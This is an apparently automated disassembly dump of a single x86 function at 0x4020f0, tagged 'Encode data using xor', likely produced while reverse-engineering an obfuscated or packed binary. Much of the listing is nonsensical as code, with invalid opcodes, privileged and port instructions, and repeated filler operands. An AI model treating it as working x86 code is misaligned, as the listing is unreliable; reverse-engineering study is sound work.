Function at 0x4020f0
Capabilities:
Encode data using xor

Disassembly:
fisubr word [eax - 0xf3884b9]
and al, 0x33
dec ebx
mov al, byte [0xe0333301]
fstp st(4)
mov edi, 0x7b30be2e
jo 0x4020aa
jnp 0x40216b
adc esi, ebx
xor ebp, ebx
xor al, 0x63
jb 0x402165
sahf
jb 0x40216f
xchg ebx, eax
mov al, 0x70
mov edx, 0xa26872ec
mov al, 0x54
out dx, al
mov al, 0x6c
les esi, [eax - 0x130cf6b0]
jb 0x40219a
mov dword [0xe8bb4bb0], eax
cmp al, 0x58
mov al, 0x68
sal dword [eax + 0x6472c56d], 1
cmp dword [esp + ebx*2], edi
invalid
xor esi, dword [ebx]
xor esi, dword [eax + 0x7372bc70]
jb 0x4021e0
cmp eax, 0x33336075
pushal
xor esi, dword [ebx]
xor esi, dword [edx + 0x5c]
sub dh, byte [edx + 0x68]
ljmp 0x3399
xor esi, dword [ebx]
mov al, 0x53
mov ch, 0xb0
pop ecx
or al, 0xb0
push ebx
push es
cmp al, 0x5b
mov al, 0x49
clc
jb 0x402207
pop ebp
call 0x3d338224
pop eax
and al, 0x65
mov al, 0x54
push cs
cmp al, 0x45
jb 0x402224
xchg esp, eax
and al, 0x64
mov dl, 0x68
cmp eax, 0xb0333333
pop ebx
in al, 0x79
ljmp 0xc865
jb 0x40223a
retf 0x3ce9
imul edi, dword [eax + ecx*2], 0xffffffb2
imul ecx, dword [ecx + 0x3c333333], 0x72652444
jae 0x402281
mov dl, 0x4d
lcall 0xbd61, 0x72333333
int1
cmp al, 0x63
cmp al, 0x63
in eax, 0x3c
dec eax
arpl bp, sp
cmp al, 0x48
mov al, 0x65
ljmp 0x3cfb
iretd
mov dl, 0x64
xor eax, 0x24333333
push 0x54b26b24
inc ecx
xor esi, dword [ebx]
xor esp, dword [ebx + ebp*2]
cmp al, 0x55
and al, 0x65
jb 0x4022fd
test eax, 0x335171b2
xor esi, dword [ebx]
in al, 0x7b
inc edi
xor esi, dword [ebx]
xor esi, dword [edx + 0x6c]
pop ebp
cmp al, 0x5d
jb 0x402316
aad 0x3c
pop ecx
jb 0x402307
dec edx
jb 0x40231a
or ch, al
mov dl, 0x51
insb byte es:[edi], dx
xor esi, dword [ebx]
xor esi, dword [edx + 0x3333a748]
xor esi, dword [eax + 0x593c1169]
push cs
dec esi
xor esi, dword [ebx]
xor ebp, eax
mov dl, 0x45
push ebp
xor esi, dword [ebx]
xor esi, dword [edx + 0x6c]
cli
je 0x4022c2
xor esi, dword [ebx]
xor ebp, esp
mov dl, 0x4c
dec ebx
xor esi, dword [ebx]
xor edi, dword [ecx + 0x60]
xor esi, dword [ebx]
xor esi, dword [edx + 0x5c]
inc edi
cmp al, 0x44
and al, 0x64
mov dl, 0x6c
insb byte es:[edi], dx
inc eax
xor esi, dword [ebx]
xor esi, dword [edx + 0x58]
jne 0x40236c
push 0x1d4bb013
jb 0x402366
adc esi, dword [eax + 0x65721d4b]
dec ebx
sbb eax, 0x24f66572
je 0x4022fb
mul byte [0x3333f574]
xor esi, dword [ebx]
xor esi, dword [ebx]
and al, 0x68
xor esp, dword [eax + ebp*2]
mov dl, 0x65
lcall 0x2465, 0x24333333
push 0x5572583c
pop eax
jb 0x40236e
pop es
cmp al, 0x4b
cmp al, 0x49
pop esi
xor esi, dword [ebx]
xor esi, dword [eax - 0x4f0cfd90]
push ebp
sub eax, 0x5572543c
xchg edi, eax
jb 0x4023a4
inc esp
and al, 0x65
jb 0x402392
or al, 0xb0
push 0x6172f30b
jl 0x4022f1
imul esi, dword [0x72333333], 0x74edea5d
pop ecx
xor esi, dword [ebx]
xor edi, dword [ecx + ecx*2]
cmp al, 0x55
jmp 0x34096892
test al, 0xae
das
jbe 0x4023ae
xor al, 0xe3
xor al, 0x1e
jecxz 0x4023a2
push ds
add eax, dword [ebx]
xor ebp, dword [edx + 0x43761bae]
xor al, 0xa8
cmpsb byte [esi], byte es:[edi]
sbb esi, dword [esi + 0x43]
xor al, 0xe2
test al, 0x9e
das
jbe 0x4023c8
xor al, 0xe1
xor al, 0x1e
pop es
add esi, edx
xor ebp, dword [edx + 0x437623ae]
xor al, 0xa8
scasb al, byte es:[edi]
sbb esi, dword [esi + 0x43]
xor al, 0xe3
test al, 0xa6
das
jbe 0x4023e2
xor al, 0xe2
xor al, 0x1e
push ds
or eax, dword [ebx]
xor ebp, dword [edx + 0x437737ae]
add esi, edx
xor ebp, dword [edx + 0x437737ae]
xor al, 0xa8
sahf
aaa
ja 0x4023f5
xor al, 0xe1
xor al, 0x1e
lsl esi, edx
xor ebp, dword [edx + 0x437617ae]
xor al, 0x6c
scasb al, byte es:[edi]
push ebx
ja 0x402408
xor al, 0x33
xor esi, dword [ebx]
xor ecx, dword [eax + 0x24]
test al, 0xae
xor esi, dword [ebx]
dec eax
and al, 0xa8
scasb al, byte es:[edi]
push ebx
ja 0x402414
xor al, 0xb0
jae 0x402407
stosb byte es:[edi], al
scasb al, byte es:[edi]
push ebx
ja 0x40241d
xor al, 0xa8
cmpsb byte [esi], byte es:[edi]
push ebx
ja 0x402423
xor al, 0xf8
cmpsb byte [esi], byte es:[edi]
and esi, dword [esi + 0x43]
xor al, 0xc0
push ss
test al, 0x9e
pop ss
jbe 0x402431
xor al, 0x30
sahf
push ebx
ja 0x402437
xor al, 0xa8
scasb al, byte es:[edi]
test al, 0xae
push ebx
ja 0x40243d
xor al, 0xa9
sub dword [ebx + 0x760b2ea7], ebp
inc ebx
xor al, 0x48
insd dword es:[edi], dx
retf
int1
int1
and al, 0x33
cmpsb byte [esi], byte es:[edi]
sahf
or esi, dword [esi + 0x43]
xor al, 0xe1
dec ebx
push 0x3b
xor al, 0x34
cmp esi, dword [esp + esi]
mov al, 0x6f
sub esp, dword [esi + 0x43760bae]
jbe 0x402462
xor al, 0xaa
out dx, al
sub esi, dword [edx + 0x6b]
jb 0x402490
push 0x72e75d72
pop esp
jb 0x40249f
ja 0x4023e0
pop es
pop es
cmp al, 0x54
mov al, 0x48
cmc
mov dl, 0x64
inc eax
xor esi, dword [ebx]
xor edi, dword [eax + 0x78]
js 0x4024b7
xor esi, dword [ebx]
xor esp, dword [eax + ebp*2]
mov al, 0x48
push es
cmp al, 0x59
jb 0x4024a7
mov esi, 0xab6372f0
mov dl, 0x64
test eax, 0xb0333333
inc esp
or dword [ecx], edi
in al, dx
cmp al, 0x4b
and al, 0x65
jmp 0xb3310a58
in eax, 0xf0
mov dl, 0x51
bound esi, qword [ebx]
xor esi, dword [ebx]
mov dl, 0x4d
popfd
xor esi, dword [ebx]
xor esi, dword [edx + 0x33335e55]
xor edi, dword [ebx + ecx*2]
cmp al, 0x4b
mov al, 0x68
add bh, byte [ebx*2 + 0x65246824]
mov al, 0x65
call 0xd49bd575
cmp al, 0x5d
in eax, dx
and al, 0x64
cmp al, 0x58
pop eax
in eax, dx
mov al, 0x73
add al, 0x24
imul edi, dword [eax - 0x31], 0x33
xor esi, dword [ebx]
jb 0x40250b
push edx
mov dl, 0x64
push edi
xor esi, dword [ebx]
xor edi, dword [esp + eax*2]
in al, 0xb0
push 0x2be6a8bf
stosb byte es:[edi], al
cmpsb byte [esi], byte es:[edi]
dec edi
ja 0x4024f6
xor al, 0xa8
sahf
dec edi
ja 0x4024fc
xor al, 0xa8
out dx, al
sub esi, dword [eax]
int1
imul dword [edx + 0x3434c3ae]
xor al, 0xa8
cmpsb byte [esi], byte es:[edi]
ret
stosb byte es:[edi], al
cmpsb byte [esi], byte es:[edi]
inc ebx
ja 0x40253e
xor al, 0xb0
jbe 0x402542
mov al, 0x76
inc ebx
ja 0x402544
xor al, 0x33
mov edi, 0x9fae6c27
ja 0x40254d
xor al, 0x33
xor esi, dword [ebx]
xor ecx, dword [eax + 0x24]
test al, 0x9e
xor esi, dword [ebx]
xor esi, dword [ebx]
dec eax
and al, 0xa8
sahf
ret
stosb byte es:[edi], al
scasb al, byte es:[edi]
mov edi, 0xb0343434
jbe 0x40258a
xor al, 0x34
mov al, 0x76
inc ebx
ja 0x40258c
xor al, 0x33
mov esi, 0xc3a6a818
xor al, 0x34
xor al, 0xa8
sahf
mov edi, 0xf8343434
loop 0x40255b
test al, 0xa6
ret
invalid
mov edi, 0x33317b29
xor esi, dword [ebx]
dec edx
mov ebx, 0x7233331e
arpl bp, bp
in al, dx
call 0x72627921
push esp
add ch, ch
jb 0x4025d1
je 0x402563
cmp al, 0x44
and al, 0x65
cmp al, 0x5b
cmp al, 0x4b
cmp al, 0x49
jb 0x4025e4
dec esp
push ss
invalid
mov al, 0x65
add dword gs:[eax - 0x17], edi
add dword [eax - 0x17], edi
xor esi, dword [ebx]
xor ebp, ecx
mov al, 0x48
mov edx, 0x24206c72
jns 0x40258b
xor esi, dword [ebx]
xor edi, dword [eax + ecx*2]
mov dl, 0x71
mov eax, dword [0xb2333333]
mov dword fs:[ebx], esi
xor esi, dword [ebx]
mov al, 0x65
sub eax, 0x240b68b0
push 0x5c3c6424
cmp al, 0x58
cmp al, 0x45
mov dl, 0x71
jle 0x4025f5
xor esi, dword [ebx]
invalid
shl ch, 0x72
pop esp
jge 0x4025c4
cmp al, 0x5c
mov dl, 0x45
lea esi, [ebx]
xor esi, dword [ebx]
jb 0x402636
invalid
cmp al, 0x5d
mov al, 0x59
fsub dword [ebx + ebp*2]
mov al, 0x4b
add ebx, ecx
xor ebp, dword [edi]
xor esi, dword [ebx]
test al, 0xee
sub esp, ebx
test al, 0xa6
mov edi, 0xe2343434
dec ebx
push ss
or dword [ebx], esi
xor esi, dword [eax + 0x5472276f]
jne 0x40267e
les esi, [ebx]
xor esi, dword [ebx]
and al, 0x64
in al, dx
dec ebx
xor esi, dword [ebx]
xor esi, dword [eax + 0x583cfb50]
mov al, 0x55
sbb esi, dword [edx + 0x69]
ja 0x402694
pushal
outsd dx, dword [esi]
jne 0x4025b0
xor esi, dword [ebx]
xor edi, dword [ebx]
cmp al, 0x54
and al, 0x64
js 0x402633
xor esi, dword [ebx]
xor esi, dword [eax + 0x6bb00c44]
xor dword [edx + 0x55], esi
or al, 0xb0
imul esi, dword [ecx], 0x72
push ebp
aad 0xb0
push 0x7b453cec
mov eax, 0xed333333
int1
cmp al, 0x61
cmp al, 0x4b
and al, 0x64
cmp al, 0x59
mov al, 0x70
xor byte [edx + 0x65], dh
pop esi
cmp al, 0x55
mov dl, 0x71
mov al, 0x33
xor esi, dword [ebx]
cmp al, 0x5b
cmp al, 0x48
mov al, 0x55
add eax, 0x72c25d72
pop eax
cmp al, 0x48
cmp al, 0x4b
mov dl, 0x65
xor dword [ebx], 0x72e53333
jno 0x4026c5
xor esp, ebp
jb 0x4026ea
dec ebx
jb 0x4026d5
cmp byte [edx + 0x61], dh
popal
pop es
je 0x4026e0
xor esi, dword [ebx]
xor edi, dword [ebx]
in al, dx
jb 0x4026fa
inc esi
mov al, 0x71
jmp 0x73087f42
in eax, 0x72
pushal
pop ss
mov al, 0x70
cmp al, 0x5b
cmp al, 0x5c
jb 0x4026f9
and al, 0x6b
jb 0x40270e
jge 0x4026e4
inc esp
jmp 0x33735127
cmp al, 0x45
js 0x4026fd
xor esi, dword [ebx]
xor edx, dword [esi]
insd dword es:[edi], dx
xor esi, dword [ebx]
xor esi, dword [edx + 0x73]
jb 0x402746
jo 0x402675
sahf
mov dl, 0x54
inc eax
xor esi, dword [ebx]
xor esi, dword [esp + ecx*2 + 0x33]
xor esi, dword [ebx]
int1
push es
aaa
xor esi, dword [ebx]
xor esi, dword [edx + 0x73]
aas
cmp al, 0x4b
cmp al, 0x5b
call 0x3d258730
push esp
mov al, 0x49
out dx, eax
cmp al, 0x4b
dec ebx
call 0x45f0823b
mov al, 0x45
ret 0x4b3c
xor esi, dword [edx + 0x5b]
inc esi
mov al, 0x45
and eax, 0xb66cb0e9
mov al, 0x65
call 0x6db2875c
insb byte es:[edi], dx
jb 0x402777
ret 0x53b0
cmp al, 0x49
cmp al, 0x49
jb 0x4027b9
pop ecx
mov al, 0x65
or dword [edx + 0x68], esi
dec ebp
jb 0x4027c0
xor dword [edx + 0x3333384c], 0x33
cmp al, 0x59
mov dl, 0x50
arpl word [ebx], si
xor esi, dword [ebx]
mov dl, 0x55
inc ebp
xor esi, dword [ebx]
xor esi, dword [edx + 0x60]
inc edi
mov al, 0x4d
enter 0xffffffffffffb2e9, 0x50
xchg ebp, eax
xor esi, dword [ebx]
xor esp, dword [ebx + ebp*2]
and al, 0x6b
jb 0x4027ec
pop esp
mov dl, 0x65
test dword [ebx], esi
xor esi, dword [ebx]
jb 0x4027f1
mov esi, 0xb2f650b0
jno 0x4027d1
xor esi, dword [ebx]
xor esi, dword [edx + 0x73]
push ebp
and al, 0x64
cmp al, 0x5d
mov al, 0x51
invalid
mov edi, 0x33a86cb2
xor esi, dword [ebx]
in eax, 0x3c
inc esp
mov al, 0x51
or dword [edx + 0x5d], esi
shr ch, 0xb0
mov bh, 0xbf
mov esi, 0xa3707b30
jnp 0x40281d
adc esi, ebx
xor ebp, ebx
xor al, 0x63
mov dl, 0x54
dec edx
xor esi, dword [ebx]
arpl word [edx + 0x33334a54], si
xor edi, dword [ecx + ebx*2]
jb 0x40283e
cdq
jb 0x402841
jae 0x40279e
iretd
jb 0x40283d
add bh, byte [eax]
bound ebp, qword [ecx - 0x4e]
insb byte es:[edi], dx
lahf
xor esi, dword [ebx]
xor esi, dword [edx + 0x5c]
ret 0x4b3c
xor esi, dword [ebx]
xor esi, dword [edx + 0x5c]
call 0xb04473a6
mov ch, 0x72
pop eax
mov ebp, eax
int1
cmp al, 0x61
mov dl, 0x70
mov bl, 0x33
xor esi, dword [ebx]
cmp al, 0x54
mov dl, 0x44
xchg ecx, eax
xor esi, dword [ebx]
xor esi, dword [eax + 0x7172da5b]
lea esp, [ecx + ebp*2]
mov dl, 0x54
dec edi
xor esi, dword [ebx]
xor esi, dword [eax + 0x58b2d953]
fnstenv [edx + 0x3333ac58]
pop eax
lodsb al, byte [esi]
xor esi, dword [ebx]
xor ebp, esp
jb 0x40288c
push ss
in al, 0x74
xor dword [ebx], 0x33
xor esi, dword [edx + 0x3333606d]
xor esi, dword [edx + 0x58]
in eax, 0xb2
inc ebp
mov byte [0x72333333], al
jb 0x4028af
jo 0x40288d
dec ebp
jb 0x4028b3
jno 0x4027cd
mov dh, byte [eax + 0x6b720d54]
invalid
mov al, 0x54
or eax, 0x72fe6b72
jo 0x40281f
mov al, 0x58
fdiv dword [edx + 0x33334c70]
xor edi, dword [ebx + ecx*2]
and al, 0x69
in al, dx
jb 0x4028bc
sbb al, 0x3c
push esp
mov al, 0x50
ljmp 0x3cf1
xor esi, dword [ebx]
xor esi, dword [eax + 0x53b02b55]
adc ebx, esi
call 0xe09bd978
and al, 0x65
mov al, 0x69
mov al, 0x69
mov ebx, 0x72e56824
pop eax
cmc
jmp 0x40287d
out dx, al
mov al, 0x44
mov dh, 0xb0
dec ecx
mov al, 0x49
daa
jb 0x40291c
cmpsb byte [esi], byte es:[edi]
jb 0x40291f
mov dl, 0x4d
mov dl, 0x4d
cdq
xor esi, dword [ebx]
xor esi, dword [edx + 0x54]
cwde
mov dl, 0x58
xor eax, 0x72333333
insd dword es:[edi], dx
ret 0x6972
scasb al, byte es:[edi]
push edi
ja 0x402949
xor al, 0x33
xor esi, dword [ebx]
xor ecx, dword [eax + 0x24]
test al, 0xae
xor esi, dword [ebx]
xor esi, dword [ebx]
dec eax
and al, 0xa8
scasb al, byte es:[edi]
push edi
ja 0x402955
xor al, 0xb0
jae 0x402948
stosb byte es:[edi], al
scasb al, byte es:[edi]
push edi
ja 0x40295e
xor al, 0xa8
cmpsb byte [esi], byte es:[edi]
test al, 0xa6
ret
xor al, 0x34
xor al, 0x24
jl 0x402907
sub eax, 0x77579efa
inc ebx
xor al, 0xb6
in al, 0xa8
scasb al, byte es:[edi]
push edi
ja 0x402976
xor al, 0xc8
jae 0x402942
test al, 0xa6
adc esi, dword [esi + 0x43]
xor al, 0xa8
fbstp tbyte [edx]
and esp, ecx
test al, 0xae
push edi
ja 0x40298a
xor al, 0xc8
enter 0xb73, 0xffffffffffffffa8
cmpsb byte [esi], byte es:[edi]
jae 0x402956
test al, 0xa6
adc esi, dword [esi + 0x43]
xor al, 0xa8
fisubr word [ebx]
xor bh, bl
fbstp tbyte [edx]
pop ds
xor bl, byte [edi]
loope 0x402902
scasb al, byte es:[edi]
push edi
ja 0x4029a1
xor al, 0xc8
jae 0x40296d
test al, 0xa6
adc esi, dword [esi + 0x43]
xor al, 0xa8
sahf
mov edi, 0x30343434
xor al, 0x30
fbstp tbyte [edx]
daa
loope 0x4029bf
mov ecx, dword [0x6fb03333]
xor esi, dword [ebx]
mov al, 0x6f
daa
dec eax
mov dword [0x33614cb2], eax
xor esi, dword [ebx]
jb 0x4029ee
cli
and al, 0x69
and al, 0x6b
cmp al, 0x5c
and al, 0x69
invalid
xor esi, dword [ebx]
xor esp, ebp
in eax, dx
cmp al, 0x44
and al, 0x69
push ss
dec ebp
xor esi, dword [ebx]
xor edi, dword [esp + eax*2]
cmp al, 0x61
jb 0x402a28
jge 0x4029db
imul ebp, ebx, 0x3c
dec eax
mov dl, 0x64
xor dword [ebx], 0x33
xor esi, dword [eax - 0xf0f0fb8]
and al, 0x69
mov dl, 0x58
xchg ebx, eax
xor esi, dword [ebx]
xor esp, ebp
mov dl, 0x45
ja 0x402a06
xor esi, dword [ebx]
mov al, 0x48
invalid
xor esi, dword [ebx]
cmp al, 0x45
mov al, 0x58
das
jb 0x402a3f
arpl word [ecx + 0x68246524], ax
xor byte es:[ebx], 0x33
xor edi, dword [ebx + ecx*2]
and dword [0x80266824], 0x3c333333
dec ebx
and al, 0x68
jb 0x402a5f
idiv byte [ecx + ebx*2]
pop ecx
jo 0x402a25
xor esi, dword [ebx]
mov dl, 0x4d
xor si, word [ebx]
xor esi, dword [edx + 0x54]
cwde
jb 0x402a58
cmp dword [eax + 0x3434c3ae], ebp
xor al, 0xa8
cmpsb byte [esi], byte es:[edi]
test al, 0xa6
mov edi, 0xf8343434
jmp 0x402a0e
jmp dword [edi + ebp*4]
scasb al, byte es:[edi]
pop edi
ja 0x402a6c
inc ebx
xor al, 0xa8
cmpsb byte [esi], byte es:[edi]
mov edi, 0x30343434
cmpsb byte [esi], byte es:[edi]
inc edi
ja 0x402a78
xor al, 0xaa
cmpsb byte [esi], byte es:[edi]
pop ebx
ja 0x402a7e
xor al, 0x6c
scasb al, byte es:[edi]
arpl word [edi + 0x43], si
ja 0x402a84
xor al, 0x33
xor esi, dword [ebx]
xor ebp, dword [eax + 0x4377639e]
xor al, 0xf8
sahf
inc ebx
ja 0x402a94
xor al, 0x24
mov al, 0x55
xor esi, dword [ebx]
xor ebp, dword [eax + 0x43775bae]
test al, 0xae
pop ebx
ja 0x402aa0
xor al, 0xa8
cmpsb byte [esi], byte es:[edi]
mov edi, 0x30343434
sub ebp, dword [edx + 0x437767a6]
xor al, 0xa8
sahf
test al, 0x9e
pop ebx
ja 0x402ab4
xor al, 0xa8
int1
das
mov al, 0x4b
sub esp, dword [edx + 0x4b]
stosb byte es:[edi], al
bound ecx, qword [ebx - 0x56]
scasb al, byte es:[edi]
imul esi, dword [edi + 0x43], 0x34
test al, 0xa6
inc ebx
xor al, 0xa8
cmpsb byte [esi], byte es:[edi]
pop ebx
ja 0x402ac8
inc ebx
xor al, 0xb0
jb 0x402ab4
stosb byte es:[edi], al
cmpsb byte [esi], byte es:[edi]
outsd dx, dword [esi]
ja 0x402ad1
xor al, 0x6c
scasb al, byte es:[edi]
jae 0x402b0a
inc ebx
xor al, 0x33
xor esi, dword [ebx]
xor ecx, dword [eax + 0x24]
test al, 0x9e
jae 0x402b16
inc ebx
xor al, 0xb0
jno 0x402ad6
stosb byte es:[edi], al
sahf
jae 0x402b1f
inc ebx
xor al, 0xa8
scasb al, byte es:[edi]
jae 0x402b25
inc ebx
xor al, 0xf8
scasb al, byte es:[edi]
imul esi, dword [edi + 0x43], 0x34
mov dh, 0xdb
test al, 0xa6
outsd dx, dword [esi]
ja 0x402b00
inc ebx
xor al, 0xb6
fld xword [eax + 0x43776fa6]
xor al, 0x24
jl 0x402ae3
jb 0x402afc
daa
mov al, 0x51
xor byte [edi + 0x6faea8fd], bh
std
test al, 0xae
outsd dx, dword [esi]
ja 0x402b11
xor al, 0x24
jl 0x402afd
sub esi, dword [edx + 0x33243452]
xor ebp, dword [eax + 0x4377679e]
mov dl, 0x52
xor al, 0x24
xor esi, dword [ebx]
test al, 0x9e
ja 0x402b20
xor al, 0xa8
das
sub dword [eax], esi
scasb al, byte es:[edi]
pop edi
ja 0x402b29
xor al, 0xa8
cmpsb byte [esi], byte es:[edi]
outsd dx, dword [esi]
ja 0x402b2f
xor al, 0x24
jl 0x402b12
mov dl, 0x51
xor al, 0x24
xor esi, dword [ebx]
test al, 0xa6
ja 0x402b3e
xor al, 0xaa
stosb byte es:[edi], al
das
and ch, byte [eax + 0x43776f9e]
sahf
outsd dx, dword [esi]
ja 0x402b47
xor al, 0xb0
jno 0x402b39
stosb byte es:[edi], al
sahf
outsd dx, dword [esi]
ja 0x402b50
xor al, 0x48
test al, 0xa8
scasb al, byte es:[edi]
pop ebx
ja 0x402b58
xor al, 0xa8
cmpsb byte [esi], byte es:[edi]
test al, 0xa6
arpl word [edi + 0x43], si
xor al, 0x30
jmp 0x402b4e
stosb byte es:[edi], al
cmpsb byte [esi], byte es:[edi]
arpl word [edi + 0x43], si
xor al, 0xa8
sahf
test al, 0x9e
outsd dx, dword [esi]
ja 0x402b6d
inc ebx
xor al, 0xaa
sahf
pop ebx
ja 0x402b73
inc ebx
xor al, 0x4a
and esi, dword [esp + esi]
xor al, 0x72
imul ebp, dword [ebp + 0x6972ebe9], 0x5472f3a3
jmp 0xa3a99e29
jb 0x402b95
pop ss
mov al, 0x64
or al, 0x72
jo 0x402bb6
outsb dx, byte [esi]
xor esi, dword ds:[ebx]
xor esi, dword [edx + 0x54]
push esp
pop esi
jb 0x402bb7
shl byte [0x33424cb2], 0x33
xor esi, dword [ebx]
xor esp, dword [0xec9e6172]
in al, dx
cmp al, 0x54
mov al, 0x49
or byte [esp + ebx*2], bh
in eax, 0xeb
cmp al, 0x48
jb 0x402bd7
mov al, 0x5b
sbb eax, 0x6c72453c
cmp al, 0x45
jb 0x402be3
add eax, 0x444b0e9
mov al, 0x59
aam 0x72
sbb byte fs:[ebx*2 + 0x78c871b0], bh
je 0x402bbd
xor esi, dword [ebx]
mov al, 0x69
sbb esi, dword [edx + 0x60]
sub byte [0x6cb0603c], ah
pushal
mov al, 0x6c
sbb byte [eax], bh
mov dl, 0x70
mov dword [0x72333333], eax
pop ebx
lodsd eax, dword [esi]
cmp al, 0x48
cmp al, 0x55
in al, dx
mov dl, 0x49
lodsb al, byte [esi]
xor esi, dword [ebx]
xor edi, dword [eax + ebx*2]
cmp al, 0x60
mov al, 0x55
pop ss
jb 0x402c29
jno 0x402bd8
pop ds
mov al, 0x69
aam 0x3c
popal
mov dl, 0x6d
imul esi, dword [ebx], 0x33
xor esi, dword [edx + 0x64]
invalid
je 0x402bab
sal byte [ebx], cl
xor esi, dword [ebx]
cmp al, 0x5b
xor esi, dword [ebx]
xor edi, dword [ebx + ebx*2]
in eax, dx
cmp al, 0x45
cmp al, 0x48
jb 0x402c3d
ret 0x6972
cmp esi, dword [ebx]
xor esi, dword [ebx]
mov al, 0x44
ret 0x603c
mov al, 0x54
daa
cmp al, 0x45
cmp al, 0x49
mov al, 0x64
xor dword [ecx], edi
mov al, 0x49
jecxz 0x402cc8
or esi, dword [ebx]
xor esi, dword [ebx]
cmp al, 0x49
mov al, 0x44
xor dh, byte [edx + 0x68]
mov edi, 0x24066972
mov dl, 0x54
inc edi
xor esi, dword [ebx]
xor edi, dword [eax + 0x6f]
xor esi, dword [ebx]
xor edi, dword [eax + 0x66]
xor esi, dword [ebx]
xor esi, dword [edx + 0x69]
pop esi
and al, 0x65
mov al, 0x54
loope 0x402ce9
pushfd
mov al, 0x4c
invalid
jbe 0x402cfd
xor esi, dword [ebx]
jb 0x402d2e
cli
test al, 0xae
ret
ja 0x402d62
inc ebx
xor al, 0x33
xor esi, dword [ebx]
xor ecx, dword [eax + 0x24]
test al, 0x9e
ja 0x402d6e
inc ebx
xor al, 0xb0
jno 0x402d2e
stosb byte es:[edi], al
sahf
ja 0x402d77
inc ebx
xor al, 0xa8
scasb al, byte es:[edi]
ja 0x402d7d
inc ebx
xor al, 0xc8
jae 0x402d2a
test al, 0xa6
pop ds
jbe 0x402d53
xor al, 0xb0
mov bh, 0x32
and esi, dword [ebx]
and al, 0xaf
rdmsr
xor esi, dword [ebx]
test al, 0x9e
ja 0x402d97
inc ebx
xor al, 0xc8
popal
pop ds
test al, 0xae
pop ds
jbe 0x402d6d
xor al, 0xa8
cmpsb byte [esi], byte es:[edi]
mov edi, 0x30343434
xor al, 0x34
xor al, 0x30
out 0x23, eax
daa
stosb byte es:[edi], al
cmpsb byte [esi], byte es:[edi]
xor dword [edi + 0x43], 0x34
test al, 0x9e
xor dword [edi + 0x43], 0x34
loope 0x402d77
push ds
pop ss
add esi, edx
xor ebp, dword [edx + 0x43777bae]
xor al, 0xb0
jbe 0x402dcc
ja 0x402d96
xor al, 0x33
mov esi, 0xa8994831
scasb al, byte es:[edi]
ja 0x402dd4
inc ebx
xor al, 0xc8
jae 0x402d81
test al, 0xa6
pop ds
jbe 0x402daa
xor al, 0xa8
sahf
mov edi, 0x30343434
xor al, 0x30
xor bh, bl
xor ah, byte [ebx]
stosb byte es:[edi], al
sahf
jg 0x402ded
fbstp tbyte [edx]
and ebp, dword [edx + 0x43777f9e]
inc ebx
xor al, 0x6c
scasb al, byte es:[edi]
xchg dword [edi + 0x43], esi
xor al, 0x33
xor esi, dword [ebx]
xor esi, dword [ebx]
xor esi, dword [ebx]
dec eax
and al, 0xa8
scasb al, byte es:[edi]
xor ecx, dword [eax + 0x24]
test al, 0xae
xchg dword [edi + 0x43], esi
xor al, 0xb0
jae 0x402dbf
stosb byte es:[edi], al
scasb al, byte es:[edi]
xchg dword [edi + 0x43], esi
xor al, 0xa8
cmpsb byte [esi], byte es:[edi]
xchg dword [edi + 0x43], esi
ja 0x402ddb
inc ebx
xor al, 0xa8
sahf
jg 0x402e14
inc ebx
xor al, 0xb0
imul dword [ecx - 0x5e50dbcd]
xor esi, dword [ebx]
xor ebp, dword [eax + 0x437787ae]
scasd eax, dword es:[edi]
mov eax, dword [0xa8333333]
scasb al, byte es:[edi]
xchg dword [edi + 0x43], esi
xor al, 0xa8
cmpsb byte [esi], byte es:[edi]
jg 0x402e2a
inc ebx
xor al, 0xa8
sahf
mov edi, 0x30343434
pop ds
mov dl, 0xaa
sahf
invalid
jg 0x402e45
inc ebx
xor al, 0x24
jl 0x402df2
mov dl, 0xe1
test al, 0xae
loope 0x402d7e
scasb al, byte es:[edi]
jnp 0x402e50
inc ebx
xor al, 0xe3
xor al, 0x1e
jecxz 0x402e11
push ds
sbb eax, dword [ebx]
xor ebp, dword [edx + 0x43778bae]
xor al, 0xb0
jbe 0x402d76
mov esi, dword [edi + 0x43]
ja 0x402e30
xor al, 0x33
mov esi, 0x8fa6a816
ja 0x402e39
cmpsb byte [esi], byte es:[edi]
invalid
xor al, 0xb0
jb 0x402e2b
loop 0x402da4
sahf
jnp 0x402e76
inc ebx
xor al, 0xe1
xor al, 0x1e
sbb eax, dword [ebx]
xor ebp, dword [edx + 0x43778bae]
xor al, 0xa8
scasb al, byte es:[edi]
ja 0x402e89
ja 0x402e56
inc ebx
xor al, 0xc8
jae 0x402e36
enter 0x1f73, 0xffffffffffffffa8
cmpsb byte [esi], byte es:[edi]
test al, 0xa6
pop ds
jbe 0x402e5f
xor al, 0xa8
sahf
mov edi, 0x30343434
fbstp tbyte [edx]
and ebp, dword [eax + 0x437787ae]
ja 0x402e6f
inc ebx
xor al, 0xa8
cmpsb byte [esi], byte es:[edi]
mov esi, dword [edi + 0x43]
ja 0x402e75
xor al, 0xaa
daa
mov cl, 0x4a
dec edx
ljmp 0x3580:0x4a343434
xor al, 0x34
dec edx
xor byte [0x2ebf3434], 0xbe
xor byte [ebx + 0x70], bh
mov dword [0xf313627b], eax
jo 0x402dea
jnp 0x402eab
adc esi, ebx
xor ebp, ebx
xor al, 0x63
insb byte es:[edi], dx
scasb al, byte es:[edi]
xchg ebx, eax
ja 0x402e97
xor al, 0x33
xor esi, dword [ebx]
xor ecx, dword [eax + 0x24]
test al, 0x9e
xchg ebx, eax
ja 0x402ea3
inc ebx
xor al, 0xb0
jno 0x402e96
stosb byte es:[edi], al
sahf
xchg ebx, eax
ja 0x402eac
xor al, 0xa8
scasb al, byte es:[edi]
ret
xor al, 0x24
jl 0x402e5e
sub eax, 0x7793a6fa
inc ebx
cmpsb byte [esi], byte es:[edi]
xchg ebx, eax
ja 0x402ebc
xor al, 0x24
cmpsb byte [esi], byte es:[edi]
xor dh, byte cs:[ebx]
xor ebp, dword [esi + ebp*4 - 0x69]
ja 0x402ec8
xor al, 0xf3
xor esi, dword [ebx]
xor ebp, dword [eax + 0x4377939e]
xor al, 0xc8
popal
or ebp, dword [eax + 0x437613ae]
jbe 0x402edb
inc ebx
xor al, 0xa8
out 0x23, eax
rsm
cmpsb byte [esi], byte es:[edi]
wait
ja 0x402ee5
xor al, 0xa8
sahf
test al, 0x9e
wait
ja 0x402eeb
xor al, 0xb2
push ecx
xor esi, dword [ebx]
xor esi, ebx
mov edi, 0x9baea80c
xor esi, dword [ebx]
mov edi, 0x9baea80c
ja 0x402ef9
xor al, 0xe
xor esi, dword [ebx]
xor esi, dword [ebx - 0x5957e641]
wait
mov edi, 0x9ba6a819
ja 0x402f06
